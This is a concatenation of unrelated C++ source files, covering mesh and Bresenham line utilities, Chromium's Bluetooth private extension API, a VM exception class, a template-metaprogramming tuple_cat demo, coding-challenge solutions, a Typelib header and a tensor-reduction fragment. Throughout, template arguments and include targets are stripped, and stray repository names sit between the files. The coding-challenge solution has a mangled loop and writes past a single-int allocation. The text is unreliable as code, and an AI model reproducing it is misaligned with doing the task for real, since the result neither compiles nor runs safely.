v{vi[0], vi[1], vi[2]}; vertices.push_back(v); } // Read mesh element indices for (UnsignedInt i = 0; i < meshElementCount; ++i) { std::array ti; for (UnsignedInt j = 0; j < dim + 1; ++j) { stream >> ti[j]; if (!stream.good()) return false; } meshElementIndices.push_back({ti.begin(), ti.begin() + dim + 1}); } for (UnsignedInt i = 0; i < boundaryCount; ++i) { UnsignedInt ei; stream >> ei; if (!stream.good()) return false; boundaryIndices.push_back(ei); } outMesh = MeshData(dim, std::move(vertices), std::move(meshElementIndices), std::move(boundaryIndices)); return true; } bool createUVIndices(const std::vector& triangleIndices, std::vector& outUv, std::vector& outUvIndices) { std::vector uv{{0.0f, 0.0f}, {1.0f, 0.0f}, {0.0f, 1.0f}}; std::vector uvIndices; for (UnsignedInt i = 0; i < triangleIndices.size(); i += 3) { for (UnsignedInt j = 0; j < 3; ++j) { uvIndices.push_back(j); } } outUv = uv; outUvIndices = uvIndices; return true; } std::vector extractTriangleIndices(const std::vector>& tetrahedronIndices) { std::vector triangleIndices; for (auto& currentIndices : tetrahedronIndices) { const UnsignedInt i0 = currentIndices[0]; const UnsignedInt i1 = currentIndices[1]; const UnsignedInt i2 = currentIndices[2]; const UnsignedInt i3 = currentIndices[3]; triangleIndices.push_back(i0); triangleIndices.push_back(i1); triangleIndices.push_back(i2); triangleIndices.push_back(i1); triangleIndices.push_back(i2); triangleIndices.push_back(i3); triangleIndices.push_back(i2); triangleIndices.push_back(i3); triangleIndices.push_back(i0); triangleIndices.push_back(i3); triangleIndices.push_back(i0); triangleIndices.push_back(i1); } return triangleIndices; } Eigen::Vector3f toEigen(const Vector3& v) { return Eigen::Vector3f(v[0], v[1], v[2]); } Vector3 valToColor(const Float val) { if (val <= 0.5f) return Vector3(1.f, 1.f, 0.f) * val * 2.0f + Vector3(0.f, 0.f, 1.f) * (0.5f - val) * 2.0f; else return Vector3(1.f, 0.f, 0.f) * (val - 0.5f) * 2.0f + Vector3(1.f, 1.f, 0.f) * (1.0f - val) * 2.0f; } std::vector valuesToHeatGradient(const std::vector& vals) { std::vector colors; colors.reserve(vals.size()); if (vals.size() == 0) return colors; const Float maxValInv = 1.f / *std::max_element(vals.begin(), vals.end()); for (Float val : vals) { colors.push_back(valToColor(val * maxValInv)); } return colors; } std::vector computeNorm(const std::vector& input) { std::vector norms(input.size()); UnsignedInt i = 0; for (auto& e : input) { norms[i] = e.norm(); ++i; } return norms; } std::vector bresenhamL(const Vector2i a, const Vector2i b); std::vector bresenhamL(const Vector2i a, const Vector2i b) { std::vector output; Vector2i delta = b - a; Int ys = Magnum::Math::sign(delta.y()); delta.y() = abs(delta.y()); Int err = 2 * delta.y() - delta.x(); Int y = a.y(); for (Int x = a.x(); x <= b.x(); ++x) { output.push_back({x, y}); if (err > 0) { y += ys; err -= 2 * delta.x(); } err += 2 * delta.y(); } return output; } std::vector bresenhamH(const Vector2i a, const Vector2i b); std::vector bresenhamH(const Vector2i a, const Vector2i b) { std::vector output; Vector2i delta = b - a; Int xs = Magnum::Math::sign(delta.x()); delta.x() = abs(delta.x()); Int err = 2 * delta.x() - delta.y(); Int x = a.x(); for (Int y = a.y(); y <= b.y(); ++y) { output.push_back({x, y}); if (err > 0) { x += xs; err -= 2 * delta.y(); } err += 2 * delta.x(); } return output; } std::vector bresenham(const Vector2i a, const Vector2i b) { if (abs(b.y() - a.y()) < abs(b.x() - a.x())) { if (a.x() > b.x()) return bresenhamL(b, a); else return bresenhamL(a, b); } else { if (a.y() > b.y()) return bresenhamH(b, a); else return bresenhamH(a, b); } } 100-1000 // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "extensions/browser/api/bluetooth/bluetooth_private_api.h" #include #include #include "base/callback.h" #include "base/lazy_instance.h" #include "base/strings/string_util.h" #include "device/bluetooth/bluetooth_adapter.h" #include "device/bluetooth/bluetooth_adapter_factory.h" #include "device/bluetooth/bluetooth_common.h" #include "device/bluetooth/bluetooth_discovery_session.h" #include "extensions/browser/api/bluetooth/bluetooth_api.h" #include "extensions/browser/api/bluetooth/bluetooth_api_pairing_delegate.h" #include "extensions/browser/api/bluetooth/bluetooth_event_router.h" #include "extensions/common/api/bluetooth_private.h" namespace bt_private = extensions::api::bluetooth_private; namespace SetDiscoveryFilter = bt_private::SetDiscoveryFilter; namespace extensions { static base::LazyInstance> g_factory = LAZY_INSTANCE_INITIALIZER; namespace { std::string GetListenerId(const EventListenerInfo& details) { return !details.extension_id.empty() ? details.extension_id : details.listener_url.host(); } } // namespace // static BrowserContextKeyedAPIFactory* BluetoothPrivateAPI::GetFactoryInstance() { return g_factory.Pointer(); } BluetoothPrivateAPI::BluetoothPrivateAPI(content::BrowserContext* context) : browser_context_(context) { EventRouter::Get(browser_context_) ->RegisterObserver(this, bt_private::OnPairing::kEventName); } BluetoothPrivateAPI::~BluetoothPrivateAPI() {} void BluetoothPrivateAPI::Shutdown() { EventRouter::Get(browser_context_)->UnregisterObserver(this); } void BluetoothPrivateAPI::OnListenerAdded(const EventListenerInfo& details) { // This function can be called multiple times for the same JS listener, for // example, once for the addListener call and again if it is a lazy listener. if (!details.browser_context) return; BluetoothAPI::Get(browser_context_) ->event_router() ->AddPairingDelegate(GetListenerId(details)); } void BluetoothPrivateAPI::OnListenerRemoved(const EventListenerInfo& details) { // This function can be called multiple times for the same JS listener, for // example, once for the addListener call and again if it is a lazy listener. if (!details.browser_context) return; BluetoothAPI::Get(browser_context_) ->event_router() ->RemovePairingDelegate(GetListenerId(details)); } namespace api { namespace { const char kNameProperty[] = "name"; const char kPoweredProperty[] = "powered"; const char kDiscoverableProperty[] = "discoverable"; const char kSetAdapterPropertyError[] = "Error setting adapter properties: $1"; const char kDeviceNotFoundError[] = "Invalid Bluetooth device"; const char kDeviceNotConnectedError[] = "Device not connected"; const char kPairingNotEnabled[] = "Pairing not enabled"; const char kInvalidPairingResponseOptions[] = "Invalid pairing response options"; const char kAdapterNotPresent[] = "Failed to find a Bluetooth adapter"; const char kDisconnectError[] = "Failed to disconnect device"; const char kForgetDeviceError[] = "Failed to forget device"; const char kSetDiscoveryFilterFailed[] = "Failed to set discovery filter"; const char kPairingFailed[] = "Pairing failed"; // Returns true if the pairing response options passed into the // setPairingResponse function are valid. bool ValidatePairingResponseOptions( const device::BluetoothDevice* device, const bt_private::SetPairingResponseOptions& options) { bool response = options.response != bt_private::PAIRING_RESPONSE_NONE; bool pincode = options.pincode != nullptr; bool passkey = options.passkey != nullptr; if (!response && !pincode && !passkey) return false; if (pincode && passkey) return false; if (options.response != bt_private::PAIRING_RESPONSE_CONFIRM && (pincode || passkey)) return false; if (options.response == bt_private::PAIRING_RESPONSE_CANCEL) return true; // Check the BluetoothDevice is in expecting the correct response. if (!device->ExpectingConfirmation() && !device->ExpectingPinCode() && !device->ExpectingPasskey()) return false; if (pincode && !device->ExpectingPinCode()) return false; if (passkey && !device->ExpectingPasskey()) return false; if (options.response == bt_private::PAIRING_RESPONSE_CONFIRM && !pincode && !passkey && !device->ExpectingConfirmation()) return false; return true; } } // namespace //////////////////////////////////////////////////////////////////////////////// BluetoothPrivateSetAdapterStateFunction:: BluetoothPrivateSetAdapterStateFunction() {} BluetoothPrivateSetAdapterStateFunction:: ~BluetoothPrivateSetAdapterStateFunction() {} bool BluetoothPrivateSetAdapterStateFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::SetAdapterState::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); if (!adapter->IsPresent()) { SetError(kAdapterNotPresent); SendResponse(false); return true; } const bt_private::NewAdapterState& new_state = params->adapter_state; // These properties are not owned. std::string* name = new_state.name.get(); bool* powered = new_state.powered.get(); bool* discoverable = new_state.discoverable.get(); if (name && adapter->GetName() != *name) { pending_properties_.insert(kNameProperty); adapter->SetName(*name, CreatePropertySetCallback(kNameProperty), CreatePropertyErrorCallback(kNameProperty)); } if (powered && adapter->IsPowered() != *powered) { pending_properties_.insert(kPoweredProperty); adapter->SetPowered(*powered, CreatePropertySetCallback(kPoweredProperty), CreatePropertyErrorCallback(kPoweredProperty)); } if (discoverable && adapter->IsDiscoverable() != *discoverable) { pending_properties_.insert(kDiscoverableProperty); adapter->SetDiscoverable( *discoverable, CreatePropertySetCallback(kDiscoverableProperty), CreatePropertyErrorCallback(kDiscoverableProperty)); } parsed_ = true; if (pending_properties_.empty()) SendResponse(true); return true; } base::Closure BluetoothPrivateSetAdapterStateFunction::CreatePropertySetCallback( const std::string& property_name) { return base::Bind( &BluetoothPrivateSetAdapterStateFunction::OnAdapterPropertySet, this, property_name); } base::Closure BluetoothPrivateSetAdapterStateFunction::CreatePropertyErrorCallback( const std::string& property_name) { return base::Bind( &BluetoothPrivateSetAdapterStateFunction::OnAdapterPropertyError, this, property_name); } void BluetoothPrivateSetAdapterStateFunction::OnAdapterPropertySet( const std::string& property) { DCHECK(pending_properties_.find(property) != pending_properties_.end()); DCHECK(failed_properties_.find(property) == failed_properties_.end()); pending_properties_.erase(property); if (pending_properties_.empty() && parsed_) { if (failed_properties_.empty()) SendResponse(true); else SendError(); } } void BluetoothPrivateSetAdapterStateFunction::OnAdapterPropertyError( const std::string& property) { DCHECK(pending_properties_.find(property) != pending_properties_.end()); DCHECK(failed_properties_.find(property) == failed_properties_.end()); pending_properties_.erase(property); failed_properties_.insert(property); if (pending_properties_.empty() && parsed_) SendError(); } void BluetoothPrivateSetAdapterStateFunction::SendError() { DCHECK(pending_properties_.empty()); DCHECK(!failed_properties_.empty()); std::vector failed_vector; std::copy(failed_properties_.begin(), failed_properties_.end(), std::back_inserter(failed_vector)); std::vector replacements(1); replacements[0] = base::JoinString(failed_vector, ", "); std::string error = base::ReplaceStringPlaceholders(kSetAdapterPropertyError, replacements, nullptr); SetError(error); SendResponse(false); } //////////////////////////////////////////////////////////////////////////////// BluetoothPrivateSetPairingResponseFunction:: BluetoothPrivateSetPairingResponseFunction() {} BluetoothPrivateSetPairingResponseFunction:: ~BluetoothPrivateSetPairingResponseFunction() {} bool BluetoothPrivateSetPairingResponseFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::SetPairingResponse::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); const bt_private::SetPairingResponseOptions& options = params->options; BluetoothEventRouter* router = BluetoothAPI::Get(browser_context())->event_router(); if (!router->GetPairingDelegate(GetExtensionId())) { SetError(kPairingNotEnabled); SendResponse(false); return true; } const std::string& device_address = options.device.address; device::BluetoothDevice* device = adapter->GetDevice(device_address); if (!device) { SetError(kDeviceNotFoundError); SendResponse(false); return true; } if (!ValidatePairingResponseOptions(device, options)) { SetError(kInvalidPairingResponseOptions); SendResponse(false); return true; } if (options.pincode.get()) { device->SetPinCode(*options.pincode); } else if (options.passkey.get()) { device->SetPasskey(*options.passkey); } else { switch (options.response) { case bt_private::PAIRING_RESPONSE_CONFIRM: device->ConfirmPairing(); break; case bt_private::PAIRING_RESPONSE_REJECT: device->RejectPairing(); break; case bt_private::PAIRING_RESPONSE_CANCEL: device->CancelPairing(); break; default: NOTREACHED(); } } SendResponse(true); return true; } //////////////////////////////////////////////////////////////////////////////// BluetoothPrivateDisconnectAllFunction::BluetoothPrivateDisconnectAllFunction() { } BluetoothPrivateDisconnectAllFunction:: ~BluetoothPrivateDisconnectAllFunction() {} bool BluetoothPrivateDisconnectAllFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::DisconnectAll::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); device::BluetoothDevice* device = adapter->GetDevice(params->device_address); if (!device) { SetError(kDeviceNotFoundError); SendResponse(false); return true; } if (!device->IsConnected()) { SetError(kDeviceNotConnectedError); SendResponse(false); return true; } device->Disconnect( base::Bind(&BluetoothPrivateDisconnectAllFunction::OnSuccessCallback, this), base::Bind(&BluetoothPrivateDisconnectAllFunction::OnErrorCallback, this, adapter, params->device_address)); return true; } void BluetoothPrivateDisconnectAllFunction::OnSuccessCallback() { SendResponse(true); } void BluetoothPrivateDisconnectAllFunction::OnErrorCallback( scoped_refptr adapter, const std::string& device_address) { // The call to Disconnect may report an error if the device was disconnected // due to an external reason. In this case, report "Not Connected" as the // error. device::BluetoothDevice* device = adapter->GetDevice(device_address); if (device && !device->IsConnected()) SetError(kDeviceNotConnectedError); else SetError(kDisconnectError); SendResponse(false); } //////////////////////////////////////////////////////////////////////////////// BluetoothPrivateForgetDeviceFunction::BluetoothPrivateForgetDeviceFunction() {} BluetoothPrivateForgetDeviceFunction::~BluetoothPrivateForgetDeviceFunction() {} bool BluetoothPrivateForgetDeviceFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::ForgetDevice::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); device::BluetoothDevice* device = adapter->GetDevice(params->device_address); if (!device) { SetError(kDeviceNotFoundError); SendResponse(false); return true; } device->Forget( base::Bind(&BluetoothPrivateForgetDeviceFunction::OnSuccessCallback, this), base::Bind(&BluetoothPrivateForgetDeviceFunction::OnErrorCallback, this, adapter, params->device_address)); return true; } void BluetoothPrivateForgetDeviceFunction::OnSuccessCallback() { SendResponse(true); } void BluetoothPrivateForgetDeviceFunction::OnErrorCallback( scoped_refptr adapter, const std::string& device_address) { SetError(kForgetDeviceError); SendResponse(false); } //////////////////////////////////////////////////////////////////////////////// bool BluetoothPrivateSetDiscoveryFilterFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( SetDiscoveryFilter::Params::Create(*args_)); auto& df_param = params->discovery_filter; std::unique_ptr discovery_filter; // If all filter fields are empty, we are clearing filter. If any field is // set, then create proper filter. if (df_param.uuids.get() || df_param.rssi.get() || df_param.pathloss.get() || df_param.transport != bt_private::TransportType::TRANSPORT_TYPE_NONE) { device::BluetoothTransport transport; switch (df_param.transport) { case bt_private::TransportType::TRANSPORT_TYPE_LE: transport = device::BLUETOOTH_TRANSPORT_LE; break; case bt_private::TransportType::TRANSPORT_TYPE_BREDR: transport = device::BLUETOOTH_TRANSPORT_CLASSIC; break; default: // TRANSPORT_TYPE_NONE is included here transport = device::BLUETOOTH_TRANSPORT_DUAL; break; } discovery_filter.reset(new device::BluetoothDiscoveryFilter(transport)); if (df_param.uuids.get()) { std::vector uuids; if (df_param.uuids->as_string.get()) { discovery_filter->AddUUID( device::BluetoothUUID(*df_param.uuids->as_string)); } else if (df_param.uuids->as_strings.get()) { for (const auto& iter : *df_param.uuids->as_strings) { discovery_filter->AddUUID(device::BluetoothUUID(iter)); } } } if (df_param.rssi.get()) discovery_filter->SetRSSI(*df_param.rssi); if (df_param.pathloss.get()) discovery_filter->SetPathloss(*df_param.pathloss); } BluetoothAPI::Get(browser_context()) ->event_router() ->SetDiscoveryFilter( std::move(discovery_filter), adapter.get(), GetExtensionId(), base::Bind( &BluetoothPrivateSetDiscoveryFilterFunction::OnSuccessCallback, this), base::Bind( &BluetoothPrivateSetDiscoveryFilterFunction::OnErrorCallback, this)); return true; } void BluetoothPrivateSetDiscoveryFilterFunction::OnSuccessCallback() { SendResponse(true); } void BluetoothPrivateSetDiscoveryFilterFunction::OnErrorCallback() { SetError(kSetDiscoveryFilterFailed); SendResponse(false); } //////////////////////////////////////////////////////////////////////////////// BluetoothPrivateConnectFunction::BluetoothPrivateConnectFunction() {} BluetoothPrivateConnectFunction::~BluetoothPrivateConnectFunction() {} bool BluetoothPrivateConnectFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::Connect::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); device::BluetoothDevice* device = adapter->GetDevice(params->device_address); if (!device) { SetError(kDeviceNotFoundError); SendResponse(false); return true; } if (device->IsConnected()) { results_ = bt_private::Connect::Results::Create( bt_private::CONNECT_RESULT_TYPE_ALREADYCONNECTED); SendResponse(true); return true; } // pairing_delegate may be null for connect. device::BluetoothDevice::PairingDelegate* pairing_delegate = BluetoothAPI::Get(browser_context()) ->event_router() ->GetPairingDelegate(GetExtensionId()); device->Connect( pairing_delegate, base::Bind(&BluetoothPrivateConnectFunction::OnSuccessCallback, this), base::Bind(&BluetoothPrivateConnectFunction::OnErrorCallback, this)); return true; } void BluetoothPrivateConnectFunction::OnSuccessCallback() { results_ = bt_private::Connect::Results::Create( bt_private::CONNECT_RESULT_TYPE_SUCCESS); SendResponse(true); } void BluetoothPrivateConnectFunction::OnErrorCallback( device::BluetoothDevice::ConnectErrorCode error) { bt_private::ConnectResultType result = bt_private::CONNECT_RESULT_TYPE_NONE; switch (error) { case device::BluetoothDevice::ERROR_ATTRIBUTE_LENGTH_INVALID: result = bt_private::CONNECT_RESULT_TYPE_ATTRIBUTELENGTHINVALID; break; case device::BluetoothDevice::ERROR_AUTH_CANCELED: result = bt_private::CONNECT_RESULT_TYPE_AUTHCANCELED; break; case device::BluetoothDevice::ERROR_AUTH_FAILED: result = bt_private::CONNECT_RESULT_TYPE_AUTHFAILED; break; case device::BluetoothDevice::ERROR_AUTH_REJECTED: result = bt_private::CONNECT_RESULT_TYPE_AUTHREJECTED; break; case device::BluetoothDevice::ERROR_AUTH_TIMEOUT: result = bt_private::CONNECT_RESULT_TYPE_AUTHTIMEOUT; break; case device::BluetoothDevice::ERROR_CONNECTION_CONGESTED: result = bt_private::CONNECT_RESULT_TYPE_CONNECTIONCONGESTED; break; case device::BluetoothDevice::ERROR_FAILED: result = bt_private::CONNECT_RESULT_TYPE_FAILED; break; case device::BluetoothDevice::ERROR_INPROGRESS: result = bt_private::CONNECT_RESULT_TYPE_INPROGRESS; break; case device::BluetoothDevice::ERROR_INSUFFICIENT_ENCRYPTION: result = bt_private::CONNECT_RESULT_TYPE_INSUFFICIENTENCRYPTION; break; case device::BluetoothDevice::ERROR_OFFSET_INVALID: result = bt_private::CONNECT_RESULT_TYPE_OFFSETINVALID; break; case device::BluetoothDevice::ERROR_READ_NOT_PERMITTED: result = bt_private::CONNECT_RESULT_TYPE_READNOTPERMITTED; break; case device::BluetoothDevice::ERROR_REQUEST_NOT_SUPPORTED: result = bt_private::CONNECT_RESULT_TYPE_REQUESTNOTSUPPORTED; break; case device::BluetoothDevice::ERROR_UNKNOWN: result = bt_private::CONNECT_RESULT_TYPE_UNKNOWNERROR; break; case device::BluetoothDevice::ERROR_UNSUPPORTED_DEVICE: result = bt_private::CONNECT_RESULT_TYPE_UNSUPPORTEDDEVICE; break; case device::BluetoothDevice::ERROR_WRITE_NOT_PERMITTED: result = bt_private::CONNECT_RESULT_TYPE_WRITENOTPERMITTED; break; case device::BluetoothDevice::NUM_CONNECT_ERROR_CODES: NOTREACHED(); break; } // Set the result type and respond with true (success). results_ = bt_private::Connect::Results::Create(result); SendResponse(true); } //////////////////////////////////////////////////////////////////////////////// BluetoothPrivatePairFunction::BluetoothPrivatePairFunction() {} BluetoothPrivatePairFunction::~BluetoothPrivatePairFunction() {} bool BluetoothPrivatePairFunction::DoWork( scoped_refptr adapter) { std::unique_ptr params( bt_private::Pair::Params::Create(*args_)); EXTENSION_FUNCTION_VALIDATE(params.get()); device::BluetoothDevice* device = adapter->GetDevice(params->device_address); if (!device) { SetError(kDeviceNotFoundError); SendResponse(false); return true; } device::BluetoothDevice::PairingDelegate* pairing_delegate = BluetoothAPI::Get(browser_context()) ->event_router() ->GetPairingDelegate(GetExtensionId()); // pairing_delegate must be set (by adding an onPairing listener) before // any calls to pair(). if (!pairing_delegate) { SetError(kPairingNotEnabled); SendResponse(false); return true; } device->Pair( pairing_delegate, base::Bind(&BluetoothPrivatePairFunction::OnSuccessCallback, this), base::Bind(&BluetoothPrivatePairFunction::OnErrorCallback, this)); return true; } void BluetoothPrivatePairFunction::OnSuccessCallback() { SendResponse(true); } void BluetoothPrivatePairFunction::OnErrorCallback( device::BluetoothDevice::ConnectErrorCode error) { SetError(kPairingFailed); SendResponse(false); } //////////////////////////////////////////////////////////////////////////////// } // namespace api } // namespace extensions /* * ZeroDivisionExceptionClassDeclare.cpp * * Created on: 2020/04/17 * Author: iizuka */ #include "instance/instance_exception/ZeroDivisionExceptionClassDeclare.h" #include "instance/instance_exception_class/ExceptionInstanceFactory.h" #include "instance/instance_exception_class/ExceptionClassDeclare.h" #include "base/UnicodeString.h" #include "engine/sc_analyze/AnalyzedClass.h" #include "engine/sc_analyze/AnalyzedType.h" #include "engine/sc_analyze/IVmInstanceFactory.h" #include "lang/sc_declare/ClassExtends.h" #include "vm/VirtualMachine.h" #include "vm/vm_ctrl/ExecControlManager.h" #include "instance/VmClassInstance.h" #include "instance/reserved_classes/ReservedClassRegistory.h" #include "instance/instance_exception_class/VmExceptionInstance.h" namespace alinous { UnicodeString ZeroDivisionExceptionClassDeclare::NAME{L"ZeroDivisionException"}; ZeroDivisionExceptionClassDeclare::ZeroDivisionExceptionClassDeclare() : AbstractExceptionClassDeclare() { addDefaultConstructor(&NAME); this->extends = new ClassExtends(); this->extends->setClassName(&ExceptionClassDeclare::NAME); } AnalyzedClass* ZeroDivisionExceptionClassDeclare::createAnalyzedClass() noexcept { ZeroDivisionExceptionClassDeclare* classDec = new ZeroDivisionExceptionClassDeclare(); AnalyzedClass* aclass = new AnalyzedClass(classDec); return aclass; } void ZeroDivisionExceptionClassDeclare::throwException(VirtualMachine* vm, const CodeElement* element) noexcept { ExecControlManager* ctrl = vm->getCtrl(); IVmInstanceFactory* factory = ExceptionInstanceFactory::getInstance(); AnalyzedClass* aclass = vm->getReservedClassRegistory()->getAnalyzedClass(&NAME); VmClassInstance* inst = factory->createInstance(aclass, vm); inst->init(vm); VmExceptionInstance* exception = dynamic_cast(inst); vm->throwException(exception, element); } ZeroDivisionExceptionClassDeclare::~ZeroDivisionExceptionClassDeclare() { } const UnicodeString* ZeroDivisionExceptionClassDeclare::getName() noexcept { return &NAME; } const UnicodeString* ZeroDivisionExceptionClassDeclare::getFullQualifiedName() noexcept { return &NAME; } ClassDeclare* ZeroDivisionExceptionClassDeclare::getBaseClass() const noexcept { AnalyzedType* atype = this->extends->getAnalyzedType(); AnalyzedClass* aclass = atype->getAnalyzedClass(); return aclass->getClassDeclare(); } IVmInstanceFactory* ZeroDivisionExceptionClassDeclare::getFactory() const noexcept { return ExceptionInstanceFactory::getInstance(); } } /* namespace alinous */ 1-10 #include "jln/mp/algorithm/make_int_sequence.hpp" #include "jln/mp/algorithm/transform.hpp" #include "jln/mp/algorithm/repeat.hpp" #include "jln/mp/functional/each.hpp" #include "jln/mp/functional/lift.hpp" #include "jln/mp/list/as_list.hpp" #include "jln/mp/list/join.hpp" #include "jln/mp/list/at.hpp" #include namespace mp = jln::mp; namespace emp = jln::mp::emp; template struct my_tuple_element { template using f = std::tuple_element_t; }; template using my_tuple_cat_result_type = mp::call< // convert a sequence of mp::list to std::tuple mp::join>, // convert a tuple like to mp::list emp::make_int_sequence< std::tuple_size>, // convert a sequence of tuple index to a mp::list of tuple element mp::transform>> >... >; template constexpr auto my_tuple_cat_impl( emp::numbers, emp::numbers, std::tuple t) { // get is looked up by argument-dependent lookup using std::get; return my_tuple_cat_result_type{ get(get(t))... }; } template> constexpr R my_tuple_cat(Tuples&&... args) { // ex: tuple_size=3 tuple_size=2 tuple_size=4 // list< 0, 0, 0, 1, 1, 2, 2, 2, 2 > using index_by_tuple = emp::make_int_sequence_c< sizeof...(Tuples), // repeat each index by number of element mp::each>>..., mp::join<> > >; // ex: tuple_size=3 tuple_size=2 tuple_size=4 // list< 0, 1, 2, 0, 1, 0, 1, 2, 3 > using index_by_value = emp::join< emp::make_int_sequence>>... >; return my_tuple_cat_impl(index_by_tuple{}, index_by_value{}, std::tuple(args...)); } // defines a tuple like //@{ namespace toy { // tuple like struct Vector2D { int x, y; }; template constexpr int get(Vector2D const& t) { return i == 0 ? t.x : t.y; } } template<> struct std::tuple_size<::toy::Vector2D> : std::integral_constant {}; template struct std::tuple_element { using type = int; }; //@} // test // @{ constexpr std::tuple t0{1, 2, 3}; constexpr std::tuple t1{4, 5}; constexpr std::tuple t2{6}; constexpr std::array a{7, 8, 9, 10}; constexpr toy::Vector2D v {11, 12}; constexpr auto my_tuple = my_tuple_cat(t0, t1, t2, a, v); using my_tuple_type = std::remove_const_t; using std_tuple = std::tuple< int, float, double, char, unsigned, long, short, short, short, short, int, int>; static_assert(std::is_same_v); static_assert(my_tuple == std::tuple{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}); // @} // { Driver Code Starts #include using namespace std; // } Driver Code Ends class Solution{ public: int *findTwoElement(int *arr, int n) { // code here int *b=new int(2); for(int i=0;i0) b[1]=i+1; } return b; } }; // { Driver Code Starts. int main() { int t; cin >> t; while (t--) { int n; cin >> n; int a[n]; for (int i = 0; i < n; i++) { cin >> a[i]; } Solution ob; auto ans = ob.findTwoElement(a, n); cout << ans[0] << " " << ans[1] << "\n"; } return 0; } // } Driver Code Ends JanaSabuj/Leetcode-solutions class Solution { public: int firstUniqChar(string s) { map mp; for(auto c: s) mp[c]++; int n = s.length(); for(int i = 0; i < n; i++) if(mp[s[i]] == 1) return i; return -1; } };#ifndef TYPELIBBUILDER_H #define TYPELIBBUILDER_H #include #include namespace clang { class CXXRecordDecl; class BuiltinType; class TypeDecl; class EnumDecl; class Type; class ConstantArrayType; class ASTContext; class TypedefNameDecl; class Decl; } class TypelibBuilder { public: Typelib::Type const * registerTypedefNameDecl(const clang::TypedefNameDecl *decl); Typelib::Type const *registerTypeDecl(const clang::TypeDecl *decl); /** fill properties of a decl into Opaque of registry * * if a type was found in the parsed headers which is to be added as a * opaque. Will also fill some metadata of the Type: * * - 'source_file_line' the "path/to/file:columnNumber" of the opaque * - 'opaque_is_typedef' a bool saying wether this opaque is a typedef. If * it is, an alias to the underlying type is also added to the registry. * - 'base_classes' if the opaque is a CXXRecord, all inherited * child-classes will be noted in the registry * * this function expects the Opaques to be pre-loaded into the registry, by * loading the respective tlb-file for example. * * @param decl decl of the declaration to be added to the database as opaque */ void registerOpaque(const clang::TypeDecl *decl); /** fill the internal registry-database with informations extracted from a tlb-file * * should be used to pre-load opaque-informations. might throw if something * fishy detected. * * @param filename path to tlb-file to load */ void loadRegistry(const std::string &filename); /** write internal registry to file * * @param filename path to tlb-file to save */ void saveRegistry(const std::string &filename); /** accessor for internal registry * * @return const-ref of internal registry, for exporting for example */ const Typelib::Registry &getRegistry() { return registry; } private: Typelib::Type const *registerType(const std::string &canonicalTypeName, const clang::Type *type, clang::ASTContext &context); /** add builtins to database: basically ints+floats as Typelib::Numeric * * attention, will silently rename "char" into "[u]int8_t" depending on * signedness and create the apropriate alias. * * @param canonicalTypeName * @param builtin * @param context * @return NULL if nothing was added */ Typelib::Type const *registerBuiltIn(const std::string &canonicalTypeName, const clang::BuiltinType *builtin, clang::ASTContext &context); /** add members and base-classes of a class to the given compound * * calls itself recursively for all the base-classes. * * does not test for private-ness anywhere. * * @return true if everything worked. false if some member-variable failed to be added */ bool addMembersOfClassToCompound(Typelib::Compound &compound, const std::string &canonicalTypeName, const clang::CXXRecordDecl *decl); Typelib::Type const *addRecord(const std::string &canonicalTypeName, const clang::CXXRecordDecl *decl); /** add enum to database * * also add string-value pairs and some metadata * * @return ptr to added Type in database */ Typelib::Type const *addEnum(const std::string &canonicalTypeName, const clang::EnumDecl *decl); /** add array to database if the element-type can be added * * @return true if smth was added to database */ Typelib::Type const *addArray(const std::string &canonicalTypeName, const clang::ConstantArrayType *type, clang::ASTContext &context); /** add entry to database if the given type is a "Typelib::Container" * * a "Typelib::Container" handle a small number of special records in typelib like * "std::vector" or "std::string". * fields or records containing these should be added to the database nevertheless. * * @return true if the given decl could be added as "Container" */ Typelib::Type const * checkRegisterContainer(const std::string &canonicalTypeName, const clang::CXXRecordDecl *decl); Typelib::Registry registry; }; #endif // TYPELIBBUILDER_H #include "variables.h" const double TAX_RATE = 0.0675; double get_sales_tax(double meal_amount) { return meal_amount * TAX_RATE; } double get_tip_amount(double meal_amount, double tip_rate) { return meal_amount * tip_rate; } // from lib/THC/THCTensorMathTransformReduce.cu: #include "THClTensorMath.h" #include "THClGeneral.h" #include "THClBlas.h" #include "THClTensorCopy.h" //#include "THClTensorRandom.h" #include "THClApply.h" #include "THClReduce.h" #include "THClDeviceUtils.h" #include "THClKernels.h" #include using namespace std; inline long getBlockSize(THClState *state) { int blockSize = 1024; int maxWorkgroupSize = ((easycl::DeviceInfo *)state->deviceInfoByDevice[state->currentDevice])->maxWorkGroupSize; if( blockSize > maxWorkgroupSize ) { blockSize = maxWorkgroupSize; } return blockSize; } std::string THClTensorMathTransformReduce_getKernelTemplate(); class HasPairOperator2 { public: virtual std::string pair_operator2() const = 0; }; class maxvalue_functor : public HasPairOperator2 { public: std::string pair_operator2() const { return "if( a.first > b.first ) { return a; } else { return b; }"; } }; class minvalue_functor : public HasPairOperator2 { public: std::string pair_operator2() const { return "if( a.first < b.first ) { return a; } else { return b; }"; } }; void THClTensor_transformReduceOuterDimIndex(THClState *state, THClTensor *tgt1, THClTensor *tgt2, THClTensor *src, long rdim, float init, HasPairOperator2 *binary_op) { StatefulTimer::timeCheck("THClTensor_transformReduceOuter START"); unsigned ndim = THClTensor_nDimension(state, src); unsigned num_orows = 1; for (unsigned dim = 0; dim < rdim; dim++) { num_orows *= THClTensor_size(state, src, dim); } unsigned row_size = THClTensor_size(state, src, rdim); unsigned num_irows = 1; for (unsigned dim = rdim + 1; dim < ndim; dim++) { num_irows *= THClTensor_size(state, src, dim); } dim3 threads(THCl_min(getBlockSize(state)/2, num_irows)); unsigned maxGridDim = getBlockSize(state); dim3 grid(THCl_min(maxGridDim, num_orows), THCl_min(maxGridDim, THClCeilDiv(num_irows, threads.x()))); std::string uniqueName = "THClTensorMathTransformReduce_OuterDim_" + binary_op->pair_operator2() 